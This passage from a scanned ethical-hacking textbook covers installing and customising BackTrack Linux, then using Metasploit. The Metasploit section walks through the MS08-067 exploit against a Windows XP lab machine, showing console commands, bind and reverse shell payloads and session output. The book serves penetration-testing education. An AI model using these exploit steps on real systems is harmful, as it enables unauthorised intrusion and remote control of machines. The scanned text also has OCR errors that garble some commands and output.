ing” a blank DVD or a 2+ GB USB thumb drive. You can also run BackTrack at the same
time as your regular desktop OS. Both VMware Player and VirtualBox run BackTrack
nicely, but you'll need to jump through a few hoops to download VMware Player, so
this chapter demonstrates BackTrack running within VirtualBox. If you prefer to use
VMware, you may find it convenient to download BackTrack’s ready-made VMware im-
age (rather than the ISO), saving a few of the steps discussed in this section.

Creating a BackTrack Virtual Machine with VirtualBox

When you first run VirtualBox, you will see the console shown in Figure 7-4. Click New
to create a new virtual machine (VM). After choosing Linux (Ubuntu) and accepting all
the other default choices, you'll have a new BackTrack VM. To attach the ISO as a DVD
drive, click Settings, choose Storage, click the optical drive icon, and click the file folder
icon next to the CD/DVD Device drop-down list box that defaults to Empty (see Figure
7-5). The Virtual Media Manager that pops up will allow you to add a new disk image
(ISO) and select it to be attached to the VM. Click Start back in the VirtualBox console
and your new VM will boot from the ISO.

5% Sun VirtualBox =RR=n X
File Machine Help

{:} {5} Details ||E Snapshots | &P Description |

New Settings Start Discard Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your
computer. The listis empty now because you haven't created any virtual
machines yet. i

In order to create a new virtual e \
-~

machine, press the New button in the
main tool bar located at the top of the

window. if
4

‘fou can press the F1 key to get N

instant help, or visit &~

www . virtualbox.org for the latest
information and news.

k

Figure 7-4 VirtualBox console
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Figure 7-5 VirtualBox Settings window

Booting the BackTrack LiveDVD System

When you first boot from the BackTrack LiveDVD system (from DVD or USB thumb
drive or from ISO under VMware or VirtualBox), you'll be presented with a boot menu
that looks like Figure 7-6.

The first choice should work for most systems. You can wait for 30 seconds or just
press ENTER to start. We'll discuss this boot menu in more detail later in the chapter.
After the system boots, type startx and you will find yourself in the BackTrack LiveDVD
X Window system.

Start BackTrack Framehuffer (1824x%768)

Start BackTrack FrameBuffer (80S:600)

Start BackTrack Forenzics (oo swap)

Start BackTrack in Safe Graphical Mode

Start Perzistent Live CD

Start BackTrack in Text Mode <
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lize the T and 1| keys to select which entry iz highlighted .
Press enter to boot the sclected 05, "¢’ to edit the
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Figure 7-6 BackTrack boot menu
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Exploring the BackTrack X Windows Environment

BackTrack is designed for security enthusiasts and includes hundreds of security testing
tools, all conveniently categorized into a logical menu system. You can see a sample
menu in Figure 7-7. We won't cover BackTrack tools extensively in this chapter because
part of the fun of BackTrack is exploring the system yourself. The goal of this chapter is
to help you become comfortable with the way the BackTrack LiveDVD system works and
to teach you how to customize it so that you can experiment with the tools yourself.

In addition to providing the comprehensive toolset, the BackTrack developers did a
great job making the distribution nice to use even as an everyday operating system.
You'll find applications such as Firefox, XChat IRC, Liferea RSS reader, Kopete IM, and
even Wine to run Windows apps. If you haven't used Linux in several years, you might
be surprised by how usable it has become. On the security side, everything just works:
one-click Snort setup, Kismet with GPS support and autoconfiguration, unicornscan
PostgreSQL support, Metasploit’s db_autopwn configured properly, and one-click op-
tions to start and stop the web server, SSH server, VNC server, database server, and TFTP
server. The developers even included on the DVD the documentation for both the In-
formation Systems Security Assessment Framework (ISSAF) and Open Source Security
Testing Methodology Manual (OSSTMM) testing and assessment methodologies. If you
find anything missing, the next several sections show you how you can customize the
distribution any way you'd like.

Starting Network Services

Because BackTrack is a pen-testing distribution, networking services don't start by de-
fault at boot. (BackTrack’s motto is “The quieter you become, the more you are able to
hear.”) However, while you are exploring BackTrack, you'll probably want to be con-
nected to the Internet. Type the following command at the root@bt:~# prompt:

/etc/init.d/networking start
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Figure 7-7 BackTrack menu



Chapter 7: Using the BackTrack Linux Distribution

131

If you are running BackTrack inside a VM or have an Ethernet cable plugged in, this
should enable your adaptor and acquire a DHCP address. You can then run the ifconfig
command to view the adaptors and verify the configuration. If you prefer to use a GUI,
you can launch the KDE Network Interfaces module from the Programs menu by choos-
ing Settings | Internet & Network | Network Interfaces.

Wireless sometimes works and sometimes does not. BackTrack 4 includes all the
default wireless drivers present in the 2.6.30 kernel, and the BackTrack team has in-
cluded additional drivers with the distribution. However, connecting via 802.11 is trick-
ier than using a wired connection for a number of reasons. First, you cannot get direct
access to the wireless card if running BackTrack from within a virtual machine. VMware
or VirtualBox can bridge the host OS’s wireless connection to the BackTrack guest OS to
give you a simulated wired connection, but you won’t be able to successfully execute
any wireless attacks such as capturing 802.11 frames to crack WEP. Second, some wire-
less cards just do not work. For example, some revisions of Broadcom cards in Mac-
Books just don’t work. This will surely continue to improve, so check http://www
.backtrack-linux.org/bt/wireless-drivers/ for the latest on wireless driver compatibility.

If your wireless card is supported, you can configure it from the command line us-
ing the iwconfig command or using the Wicd Network Manager GUI found within the
Internet menu.

Reference

VirtualBox home page www.virtualbox.org

Persisting Changes to Your BackTrack
Installation

If you plan to use BackTrack regularly, you'll want to customize it. Remember that the
BackTrack LiveDVD system described so far in this chapter is based on a read-only file
system. Configuration changes are never written out to disk, only to RAM. Making even
simple configuration changes, such as connecting to your home wireless access point
and supplying the WPA key, will become tedious after the third or fourth reboot. Back-
Track provides three methods to persist changes from boot to boot.

Installing Full BackTrack to Hard Drive
or USB Thumb Drive

The easiest way to persist configuration changes, and the way most people will choose
to do so, is to install the full BackTrack system to your hard drive or USB thumb drive.
BackTrack then operates just like a traditional operating system, writing out changes to
disk when you make changes. BackTrack includes an install.sh script on the desktop to
facilitate the full install. Double-click install.sh to launch the Install GUI, answer a se-
ries of questions, and minutes later you can reboot into a regular Linux installation
running from the hard drive or a USB thumb drive. One step in the installation is dis-
played in Figure 7-8.
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BackTrack Inside VirtualBox

Figure 7-8 shows that the full installer will help you partition and create a file sys-
tem on a raw disk. However, if you would like to continue using BackTrack in
LiveDVD mode and not perform the full install, you will probably want additional
read-write disk space. In this case, you may need to partition the disk and create a
file system. If you are running within the VirtualBox virtualization environment,
you will also likely want to install VirtualBox's Guest Additions for Linux. Installing
this package will enable Shared Folder support between the host and guest OSs
(and some other niceties). Following are the steps to configure the VirtualBox hard
drive properly and then to install the VirtualBox Guest Additions for Linux:

1. Format and partition the /dev/hda disk provided by VirtualBox. The
command to begin this process is fdisk /dev/hda. From within fdisk,
create a new partition (n), make it a primary partition (p), label it
partition 1 (1), accept the default start and stop cylinders (press ENTER
for both prompts), and write out the partition table (w).

2. With the disk properly partitioned, create a file system and mount
the disk. If you want to use the Linux default file system type (ext3),
the command to create a file system is mkfs.ext3 /dev/hdal. The disk
should then be available for use by creating a mount point (mkdir /
mnt/vbox) and mounting the disk (mount /dev/hdal /mnt/vbox).
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3. Now, with read-write disk space available, you can download
and install VirtualBox Guest Additions for Linux. You need to
download the correct version of VirtualBox Guest Additions for
your version of VirtualBox. The latest VirtualBox at the time of this
writing is 3.1.6, so the command to download the VirtualBox Guest
Additions is wget http://download.virtualbox.org/virtualbox/3.1.6/
VBoxGuestAdditions_3.1.6.iso.

4. When the download completes, rename the file to something
easier to type (mv VBoxGuestAdditions* vbga.iso), create a mount
point for the ISO (mkdir /mnt/vbga), mount the ISO (mount -o
loop vbga.iso /mnt/vbga), and run the installer (cd /mnt/vbga;
./VBoxLinuxAdditions-x86.run). Here, you can see the result of
installing the VirtualBox Guest Additions:

root@bt: /mnt/vbga - Shell - Konsole

Session Edit View Bookmarks Settings Help

root@bt: # ./VBoxLinuxAdditions-x86.run Q
Verifying archive integrity... All good.

Uncompressing VirtualBox 3.1.6 Guest Additions for Linux
VirtualBox Guest Additions installer

Building the VirtualBox Guest Additions kernel modules
Building the main Guest Additions module ...done.
Building the shared folder support module ...done.
Building the OpenGL support module ...done.

Doing non-kernel setup of the Guest Additions ...done.
Starting the VirtualBox Guest Additioms-...done.
Installing the Window System drivers

Installing X.0rg Server 1.5 modules ...done.

Setting up the Window System to use the Guest Additions ...done.

You may need to restart the hal service and the Window System {(or just restart
the guest system) to enable the Guest Additions.

Installing graphics libraries and desktop services components ...done.
root@bt:

(%] @ shell

After you install VirtualBox Guest Additions, you can begin using Shared
Folders between the Host OS and Guest OS. To test this out, create a Shared
Folder in the VirtualBox user interface (this example assumes it is named
“shared”), create a mount point (mkdir /mnt/shared), and mount the device us-
ing new file system type vboxsf (mount -t vboxsf shared /mnt/shared).




Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition

134

Creating a New ISO with Your One-time Changes

Installing the full BackTrack installation to disk and treating it as a regular Linux instal-
lation certainly allows you to persist changes. In addition to persisting changes boot to
boot, it will improve boot performance. However, you'll lose the ability to pop a DVD
into any system and boot up BackTrack with your settings applied. The full BackTrack
installation writes out 5+ GB to the drive, too much to fit on a DVD. Wouldn't it be
great if you could just boot the regular LiveDVD 1.5GB ISO, make a few changes, and
create a new ISO containing the bt4.iso bits plus your changes? You could then write
that 1.5+ GB ISO out to DVD, making your own version of BackTrack LiveDVD.

The BackTrack developers created a script that allows you to do just that. You'll need
8+ GB of free disk space to use their bt4-customise.sh script, and it will run for a num-
ber of minutes, but it actually works! Here is the set of steps:

1. Download the customise script from the BackTrack web page (wget http://
www.offensive-security.com/bt4-customise.sh).

2. Edit the script to point it to your bt4-final.iso. To do this, change the third
line in the script assigning btisoname equal to the full path to your BackTrack
ISO, including the filename.

3. Change to a directory with 8+ GB of free writable disk space (cd /mnt/vbox)
and run the shell script (sh bt4-customise.sh).

Figure 7-9 shows the script having run with a build environment set up for you,
dropping you off in a modifiable chroot. At this point, you can update, upgrade, add,
or remove packages, and make configuration changes.

root@bt: / - Shell - Konsole

Session Edit View Bookmarks Settings Help

[*] BackTrack 4 (pre)Final customisation script
| 1 Setting up the build environment...
[#] Copying over files, please wait ...

[*] Mow you can modify the LiveCD. At minimum, we recommend :
[*] apt-get update && apt-get upgrade & apt-get clean

[#*]1 If you are running a large update, you might need to stop
1 services like crond, udev, cups, etc in the chroot

[*] services like crond, udev, cups, etc in the chroot
1 before exiting your chroot environment.

Figure 7-9 Customise script chroot environment
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When you type exit in this shell, the script builds a modified ISO for you, including
the updates, additions, and configuration changes you introduced. This process may
take quite a while and will consume 8+ GB of free disk space. Figure 7-10 shows the
beginning of this ISO building process.

The resulting custom BackTrack ISO can then be burned to DVD or written to a
2+ GB USB thumb drive.

Using a Custom File that Automatically Saves
and Restores Changes

There is a third option to persist changes to BackTrack that combines the best of both
previous options. You can maintain the (relatively) small 1.5GB LiveDVD without hav-
ing to do the full 5+ GB hard drive install, and your changes are automatically persist-
ed—no additional ISO is needed for each change. As an added bonus, this approach
allows you to easily make differential-only backups of the changes from the BackTrack
baseline. You can just copy one file to the thumb drive to roll back the entire BackTrack
installation to a previous state. It's very slick. The only downside is the somewhat tricky
one-time initial setup.

For this approach, you'll need to a 2+ GB thumb drive. Format the whole drive as
FAT32 and use UNetbootin to extract the ISO to the thumb drive. Next, you need to
create a specific kind of file at the root of the USB thumb drive with a specific name.
You'll need to create this file from within a Linux environment. Boot using your newly
written thumb drive. BackTrack will have mounted your bootable USB thumb drive as
/media/cdrom0. The device name is cdromO because BackTrack assumes the boot de-
vice is a LiveDVD, not a USB thumb drive. You can confirm this by typing the mount
command. You'll see something like the output in Figure 7-11.

root@bt: / - Shell - Konsole

Session Edit View Bookmarks Settings Help

| root@bt: /# apt-get clean B
root@bt:/# exit
exit
fMll{*1 Exited the build environemnt, unmounting images.
[*] Building manifest
Removing any system startup links for /etc/init.d/inetutils-inetd ...
Removing any system startup links for /etc/init.d/tinyproxy ...
Removing any system startup links for /etc/init.d/iodined ...
Removing any system startup links for fete/init.d/knockd ...
Removing any system startup links for /etc/init.d/openvpn ...
Removing any system startup links for /etc/init.d/atftpd ...
Removing any system startup links for Jetc/init.d/ntop ...
Removing any system startup links for /etc/init.d/nstxd ...
Removing any system startup links for setc/init.d/nstxecd ...
Removing any system startup links for /etc/init.d/apachez ...
Removing any system startup links for /etc/init.d/sendmail ...
Removing any system startup links for /fetc/init.d/atd ...
Removing any system startup links for /etc/init.d/dhcp3-server ...

()| & shen

() [

Figure 7-10 Building a modified BackTrack ISO
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root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

root@bt:-# mount E
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)

/proc on /proc type proc (rw,noexec,nosuid,nodev)

sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)

varrun on /var/run type tmpfs (rw,nosuid,mode=0755)

varlock on /var/lock type tmpfs (rw,noexec,nosuild,nodev,mode=1777)

udev on /dev type tmpfs (rw,mode=0755)

tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)

devpts on /dev/pts type dewpts (rw,noexec,nosuid,gid=5,mode=620)

rootfs on / type rootfs (rw)

fusectl on /svs/fs/fuse/connections tvoe fusectl (rw,relatime)

/dev/sdbl on /media/cdrom® type wvfat (ro,hoatime, fmask=08022,dmask=0008,al
LowW_UTime=uu.s, codepage=cp43/, 10CnNarset=1508859-1)

/dev/loop® on /rofs type squashfs (ro,noatime)

tmpfs on /tmp type tmpfs (rw,nosuid,nodev)

root@bt:-# I

(%)| @ shell

Figure 7-11 BackTrack mounted devices after booting from USB thumb drive

In this case, the USB thumb drive is assigned /dev/sdb1 and is mounted as read-
only. To write a special file to the root of the thumb drive, you'll need to remount the
USB thumb drive read-write. Issue this command:

mount -o remount,rw /media/cdromO

BackTrack will now allow you to write to the USB thumb drive.

This special file you are about to create will hold all the changes you make from the
BackTrack baseline. It’s really creating a file system within a file. The magic that allows
this to happen is the casper file system, the file system used by BackTrack alluded to
earlier in the chapter. If BackTrack finds a file named casper-rw at the root of any
mounted partition and is passed the special persistent flag at boot, BackTrack will use
the casper-rw file as a file system to read and write changes from the BackTrack baseline.
Let's try it out.

After you have remounted the USB thumb drive in read-write mode, you can use the
dd command to create an empty file of whatever size you would like to allocate to per-
sisting changes. The following command creates a 500MB casper-rw file:

dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500
Next, create a file system within that casper-rw file using the mkfs command:
mkfs.ext3 -F /media/cdrom0/casper-rw

Remember that you'll need a writable disk for this to work. If you have booted from
a DVD or from an ISO within virtualization software, BackTrack will not be able to cre-
ate the casper-rw file and you will get the following error message:

dd: opening 'casper-rw': Read-only file system
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Finally, if you have successfully created the casper-rw file and created a file system
within the file, you can reboot to enjoy persistence. At the boot menu (refer to Figure
7-6), choose the fifth option, Start Persistent Live CD. Any changes that you make in
this persistence mode are written to this file system inside the casper-rw file. You can
reboot and see that changes you made are still present. To make a backup of all chang-
es you have made at any point, copy the casper-rw file to someplace safe. Remember
that the thumb drive is formatted as FAT32, so you can pop it into any PC and copy off
the casper-rw file. To revert to the BackTrack baseline, delete the casper-rw file. To tem-
porarily revert to the BackTrack baseline without impacting your persistence, make a
different choice at the boot option.

References

BackTrack 4 Persistence www.backtrack-linux.org/forums/backtrack-howtos/
819-backtrack-4-final-persistent-usb- * * *easiest-way* * *.html

BT4 customise script www.offensive-security.com/blog/backtrack/
customising-backtrack-live-cd-the-easy-way/

Ubuntu Persistence https://help.ubuntu.com/community/LiveCD/Persistence

Exploring the BackTrack Boot Menu

We have now demonstrated two of the nine options in the default BackTrack boot
menu. The first option boots with desktop resolution 1024x768, and the fifth option
boots in persistent mode with changes written out to and read from a casper file sys-
tem. Let's take a closer look at each of the boot menu options and the configuration
behind each option.

BackTrack uses the grub boot loader. Grub is configured by a file named menu.lst
on the ISO or DVD or thumb drive within the boot\grub subdirectory. For most of the
startup options, the menu.lst file will specify the title to appear in the menu, the kernel
with boot options, and the initial RAM disk to use (initrd). For example, here is the
configuration for the first choice in the BackTrack boot menu:

title Start BackTrack FrameBuffer (1024x768)
kernel /boot/vmlinuz BOOT=casper nonpersistent rw quiet vga=0x317
initrd /boot/initrd.gz

Referring to Figure 7-6, you can see that the title is displayed verbatim as the de-
scription in the boot menu. Most of the kernel boot options are straightforward:

e Use the casper file system (casper).
e Do not attempt to persist changes (nonpersistent).
e Mount the root device read-write on boot (rw).

e Disable most log messages (quiet).
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The vga parameter assignment is not as obvious. Table 7-1 lists the VGA codes for
various desktop resolutions.

Therefore, the first choice in the BackTrack boot menu having boot option vga=0x317
will start BackTrack with desktop resolution 1024x768 and 64k colors.

The second BackTrack boot menu option, Start BackTrack FrameBuffer (800x600),
is similar to the first option with the primary difference being vga=0x314 instead of
vga=0x317. Referring to Table 7-1, we can see that 0x314 means desktop resolution
800x600 with 64k colors.

The third BackTrack boot menu option, Start BackTrack Forensics (no swap), uses
the same boot flags as the first boot option. The differences are only in the initial RAM
disk. By default, BackTrack will automount any available drives and utilize swap parti-
tions where available. This is not suitable for forensic investigations, where the integ-
rity of the drive must absolutely be maintained. The initrdfr.gz initial RAM disk
configures BackTrack to be forensically clean. The system initialization scripts will not
look for or make use of any swap partitions on the system, and this configuration will
not automount file systems. The BackTrack Forensics mode is safe to use as a boot DVD
for forensic investigations.

The only difference in the fourth BackTrack boot menu option, Start BackTrack in
Safe Graphical Mode, is the keyword xforcevesa. This option forces X Windows to use
the VESA driver. If the regular VGA driver does not work for an uncommon hardware
configuration, you can try booting using the VESA driver.

We discussed the fifth option, Start Persistent Live CD, earlier. You can see from the
menu.lst file that the keyword persistent is passed as a boot option.

You can start BackTrack in text mode with the sixth boot option, Start BackTrack in
Text Mode. The boot option to do so from the menu.lst file is textonly.

If you'd like the boot loader to copy the entire live environment to system RAM and
run BackTrack from there, choose the seventh option, Start BackTrack Graphical Mode
from RAM. The boot option for this configuration option is toram.

The final two boot menu options are less likely to be used. If you'd like to do a
system memory test, you can choose the eighth option to “boot” the program /boot/
memtest86+.bin. Finally, you can boot from the first hard disk by choosing the ninth
and final boot option.

Number of Colors 640%x480 800%x600 1024x768 1280%x1024
256 0x301 0x303 0x305 0x307
32k (or 32,768) 0x310 0x313 0x316 0x319
64k (or 65,535) O0x311 0x314 0x317 Ox31A
16 million 0x312 0x315 0x318 0x31B

Table 7-1 Grub Boot Loader VGA Codes
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The default menu.lst file is a nice introduction to the commonly used boot configu-
rations. If you have installed the full BackTrack installation or boot into a persistence
mode, you can change the menu.lst file by mixing and matching boot options. For ex-
ample, you might want to have your persistence mode boot into desktop resolution
1280x1024 with 16-bit color. That's easy. Just add the value vga=0x31A as a parameter
to the fifth option having the persistent keyword and reboot.

Reference

Linux kernel parameters www.kernel.org/doc/Documentation/kernel-parameters.txt

Updating BackTrack

The BackTrack developers maintain a repository of the latest version of all tools con-
tained in the distribution. You can update BackTrack tools from within BackTrack using
the Advanced Packaging Tool (APT). Here are three useful apt-get commands:

apt-get update Synchronizes the local package list with the BackTrack repository
apt-get upgrade Downloads and installs all the updates available
apt-get dist-upgrade Downloads and installs all new upgrades

You can show all packages available, a description of each, and a version of each
using the dpkg command dpkg -1. You can search for packages available via APT using
the apt-cache search command. Here's an example of a series of commands one might
run to look for documents on snort.

root@bt:~# dpkg -1 '*snort*'

dpkg shows airsnort 0.2.7e-bt2 and snort setup 2.8-bt3 installed on BackTrack 4 by
default.

We can use apt-cache to show additional snort-related packages available in the
repository:

root@bt:~# apt-cache search 'snort'

The APT cache has the following package:

snort-doc - Documentation for the Snort IDS [documentation]
Use apt-get to download and install this package:

root@bt:~# apt-get install snort-doc
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The package is downloaded from http://archive.offensive-security.com and in-
stalled. To find where those documents were installed, run the dpkg command again,
this time with -L:

root@bt:~# dpkg -L snort-doc

Bingo! We see that the docs were installed to /usr/share/doc/snort-doc.



CHAPTER [ 1
Using Metasploit

This chapter will show you how to use Metasploit, a penetration testing platform for
developing and launching exploits. In this chapter, we discuss the following topics:

® Metasploit: the big picture

¢ Getting Metasploit

e Using the Metasploit console to launch exploits

e Exploiting client-side vulnerabilities with Metasploit
e Penetration testing with Metasploit's Meterpreter

e Automating and Scripting Metasploit

e Going further with Metasploit

Metasploit: The Big Picture

Metasploit is a free, downloadable framework that makes it very easy to acquire,
develop, and launch exploits for computer software vulnerabilities. It ships with profes-
sional-grade exploits for hundreds of known software vulnerabilities. When H.D.
Moore released Metasploit in 2003, it permanently changed the computer security
scene. Suddenly, anyone could become a hacker and everyone had access to exploits for
unpatched and recently patched vulnerabilities. Software vendors could no longer de-
lay fixing publicly disclosed vulnerabilities, because the Metasploit crew was hard at
work developing exploits that would be released for all Metasploit users.

Metasploit was originally designed as an exploit development platform, and we’ll
use it later in the book to show you how to develop exploits. However, it is probably
more often used today by security professionals and hobbyists as a “point, click, root”
environment to launch exploits included with the framework.

We'll spend the majority of this chapter showing Metasploit examples. To save
space, we'll strategically snip out nonessential text, so the output you see while follow-
ing along might not be identical to what you see in this book.

Getting Metasploit

Metasploit runs natively on Linux, BSD, Mac OS X, Windows (via Cygwin), Nokia
N900, and jailbroken Apple iPhones. You can enlist in the development source tree
to get the very latest copy of the framework, or just use the packaged installers from
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www.metasploit.com/framework/download/. The Windows installer may take quite a
while to complete as it contains installers for Cygwin, Ruby, Subversion, VNCViewer,
WinVI, Nmap, WinPcap, and other required packages.

References

Installing Metasploit on Mac OS X www.metasploit.com/redmine/projects/
framework/wiki/Install_MacOSX

Installing Metasploit on Other Linux Distributions www.metasploit.com/

redmine/projects/framework/wiki/Install_Linux

Installing Metasploit on Windows www.metasploit.com/redmine/projects/
framework/wiki/Install_Windows

Using the Metasploit Console to Launch Exploits

Our first Metasploit demo involves exploiting the MS08-067 Windows XP vulnerability
that led to the Conficker superworm of late 2008-early 2009. We'll use Metasploit to
get a remote command shell running on the unpatched Windows XP machine. Meta-
sploit can pair any Windows exploit with any Windows payload. So, we can choose the
MS08-067 vulnerability to open a command shell, create an administrator, start a re-
mote VNC session, or do a bunch of other stuff discussed later in the chapter. Let’s get
started.

$ ./msfconsole

888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .dB8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "YB8888 "Y888"YB888888 88888P’38388P" 888 "Y8B8P" 888 "Y888
888
888
888
=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -—— —-—=[ 317 exploits - 93 auxiliary
+ -- --=[ 216 payloads - 20 encoders - 6 nops
=[ svn r9114 updated today (2010.04.20)
msf >

The interesting commands to start with are

show <exploits | payloads>
info <exploit | payload> <name>
use <exploit-name>

You'll find all the other commands by typing help or 2. To launch an MS08-067
exploit, we'll first need to find the Metasploit name for this exploit. We can use the
search command to do so:
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msf > search ms08-067
[*] Searching loaded modules for pattern 'ms08-067'...
Exploits

Name Rank Description

windows/smb/ms08 067 netapi great Microsoft Server Service Relative Path
Stack Corruption

The Metasploit name for this exploit is windows/smb/ms08_067_netapi. We'll use
that exploit and then go looking for all the options needed to make the exploit work:

msf > use windows/smb/ms08_067 netapi
msf exploit (ms08 067 netapi) >

Notice that the prompt changes to enter “exploit mode” when you use an exploit mod-
ule. Any options or variables you set while configuring this exploit will be retained so
that you don’t have to reset the options every time you run it. You can get back to the
original launch state at the main console by issuing the back command:

msf exploit (ms08 067 netapi) > back
msf > use windows/smb/ms08_067_netapi
msf exploit (ms08 067 netapi) >

Different exploits have different options. Let’s see what options need to be set to
make the MS08-067 exploit work:

msf exploit (ms08 067 netapi) > show options
Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

This exploit requires a target address, the port number on which SMB (Server Mes-
sage Block) listens, and the name of the pipe exposing this functionality:

msf exploit (ms08 067 netapi) > set RHOST 192.168.1.6
RHOST => 192.168.1.6

As you can see, the syntax to set an option is as follows:

set <OPTION-NAME> <option>

NOTE Earlier versions of Metasploit were particular about the case of the
option name and option, so examples in this chapter always use uppercase if
the option is listed in uppercase.

With the exploit module set, we next need to set the payload. The payload is the ac-
tion that happens after the vulnerability is exploited. It's like choosing how you want
to interact with the compromised machine if the vulnerability is triggered successfully.
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For this first example, let’s use a payload that simply opens a command shell listening

on a TCP port:

"Windows Command Shell"
'Windows Command Shell'...

msf exploit (ms08 067 netapi) > search
[*] Searching loaded modules for pattern

Compatible Payloads

Name Rank Description

windows/shell/bind ipvé tcp normal Windows Command Shell, Bind TCP
Stager (IPv6)

windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP
Stager (No NX Support)

windows/shell/bind tcp normal Windows Command Shell, Bind TCP
Stager

windows/shell/reverse ipvé_tcp normal Windows Command Shell, Reverse
TCP Stager (IPv6)

windows/shell/reverse nonx_tcp normal Windows Command Shell, Reverse
TCP Stager (No NX Support)

windows/shell/reverse_ord_ tcp normal Windows Command Shell, Reverse
Ordinal TCP Stager

windows/shell/reverse tcp normal Windows Command Shell, Reverse
TCP Stager

windows/shell/reverse tcp allports normal Windows Command Shell, Reverse
All-Port TCP Stager

windows/shell/reverse_tcp_dns normal Windows Command Shell, Reverse
TCP Stager (DNS)

windows/shell bind tcp normal Windows Command Shell, Bind TCP
Inline

windows/shell reverse_ tcp normal Windows Command Shell, Reverse TCP
Inline

In typical gratuitous Metasploit style, there are 11 payloads that provide a Windows
command shell. Some open a listener on the host, some cause the host to “phone
home” to the attacking workstation, some use IPv6, some set up the command shell in
one network roundtrip (“inline”), while others utilize multiple roundtrips (“staged”).
One even connects back to the attacker tunneled over DNS. This Windows XP target
virtual machine does not have a firewall enabled, so we’ll use a simple windows/shell/

bind_tcp exploit:

msf exploit (ms08 067 netapi)

> set PAYLOAD windows/shell/bind tcp

If the target were running a firewall, we might instead choose a payload that would
cause the compromised workstation to connect back to the attacker (“reverse”):

msf exploit (ms08 067 netapi)
Module options:

Name Current Setting
RHOST 192.168.1.6
RPORT 445

SMBPIPE BROWSER

Payload options

> show options

Required Description

yes The target address

yes Set the SMB service port

yes The pipe name to use (BROWSER, SRVSVC)

(windows/shell/bind tcp) :
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Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

RHOST 192.168.1.6 no The target address

By default, this exploit will open a listener on tcp port4444, allowing us to connect
for the command shell. Let’s attempt the exploit:

f exploit (ms08 067 netapi) > exploit

] Started bind handler

] Automatically detecting the target...

] Fingerprint: Windows XP Service Pack 2 - lang:English
] Selected Target: Windows XP SP2 English (NX)

] Attempting to trigger the wvulnerability...

] Sending stage (240 bytes) to 192.168.1.6

[*] Command shell session 1 opened (192.168.1.4:49623 -> 192.168.1.6:4444)
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>echo w0Ot!

echo wOOt!

w0O0t!

It worked! We can verify the connection by issuing the netstat command from the
Windows XP machine console, looking for established connections on port 4444:

C:\>netstat -ano | findstr 4444 | findstr ESTABLISHED
TCP 192.168.1.6:4444 192.168.1.4:49623 ESTABLISHED 964

Referring back to the Metasploit output, the exploit attempt originated from
192.168.1.4:49623, matching the output we see in netstat. Let’s try a different payload.
Press CIRL-Z to put this session into the background:

C:\>"2Z
Background session 1? [y/N] vy
msf exploit (ms08 067 netapi) >

Now set the payload to windows/shell/reverse_tcp, the reverse shell that we dis-
covered:

msf exploit (ms08 067 netapi) > set PAYLOAD windows/shell/reverse tcp
PAYLOAD => windows/shell/reverse_tcp

msf exploit (ms08 067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST 192.168.1.6 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process

LHOST yes The local address

LPORT 4444 yes The local port
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This payload requires an additional option, LHOST. The victim needs to know to
which host to connect when the exploit is successful.

msf exploit (ms08 067 netapi) > set LHOST 192.168.1.4
LHOST => 192.168.1.4

msf exploit (ms08 067 netapi) > exploit

[*] Started reverse handler on 192.168.1.4:4444

*] Automatically detecting the target...

Fingerprint: Windows XP Service Pack 2 - lang:English
Selected Target: Windows XP SP2 English (NX)
Attempting to trigger the vulnerability...

Sending stage (240 bytes) to 192.168.1.6

Command shell session 2 opened (192.168.1.4:4444 -> 192.168.1.6:1180)
) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>echo wOOt!

echo wO0t!

w0O0t!

[*]
[*]
[*]
[*]
[*]
[*]
(

*
*
*
*
*
C

Notice that this is “session 2.” Press CTRL-Z to put this session in the background and go
back to the Metasploit prompt. Then, issue the command sessions -1 to list all active
sessions:

Background session 2? [y/N] 'y
msf exploit (ms08 067 netapi) > sessions -1
Active sessions

Id Type Information Connection

1 shell 192.168.1.4:49623 ->
192.168.1.6:4444

2 shell Microsoft Windows XP [Version 5.1.2600] 192.168.1.4:4444 —>
192.168.1.6:1180

It's easy to bounce back and forth between these two sessions. Just use the sessions —i
<session>. If you don't get a prompt immediately, try pressing ENTER.

msf exploit (ms08 067 netapi) > sessions -i 1
[*] Starting interaction with 1...

C:\>"2Z

Background session 1?2 [y/N] vy

msf exploit (ms08 067 netapi) > sessions -i 2
[*] Starting interaction with 2...
C:\WINDOWS\system32>

You now know the most important Metasploit console commands and understand
the basic exploit-launching process. Next, we'll explore other ways to use Metasploit in
the penetration testing process.

References
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Exploiting Client-Side Vulnerabilities
with Metasploit

A Windows XP workstation missing the MS08-067 security update and available on the
local subnet with no firewall protection is not common. Interesting targets are usually
protected with a perimeter or host-based firewall. As always, however, hackers adapt to
these changing conditions with new types of attacks. Chapters 16 and 23 will go into
detail about the rise of client-side vulnerabilities and will introduce tools to help you
find them. As a quick preview, client-side vulnerabilities are vulnerabilities in client soft-
ware such as web browsers, e-mail applications, and media players. The idea is to lure a
victim to a malicious website or to trick him into opening a malicious file or e-mail.
When the victim interacts with attacker-controlled content, the attacker presents data
that triggers a vulnerability in the client-side application parsing the malicious content.
One nice thing (from an attacker’s point of view) is that connections are initiated by the
victim and sail right through the firewall.

Metasploit includes many exploits for browser-based vulnerabilities and can act as
